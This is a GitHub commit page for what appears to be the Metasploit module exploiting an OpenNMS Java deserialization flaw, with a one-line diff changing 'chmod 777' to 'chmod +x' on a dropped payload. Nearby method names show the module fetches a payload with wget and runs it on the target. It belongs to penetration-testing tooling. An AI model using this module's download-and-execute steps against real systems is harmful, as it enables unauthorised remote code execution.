Skip to content

Commit a530aa4

Browse files
author
Brent Cook
committed
restrict perms a bit more
1 parent a107a0f commit a530aa4

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/misc/opennms_java_serialize.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ def wget_payload
101101

102102
# Change permissions to permit binary execution
103103
def chmod_payload
104-
cmd = "chmod 777 #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
104+
cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
105105

106106
vprint_status("#{peer} - Chmod the payload...")
107107
res = exec_command(cmd)

0 commit comments

Comments
 (0)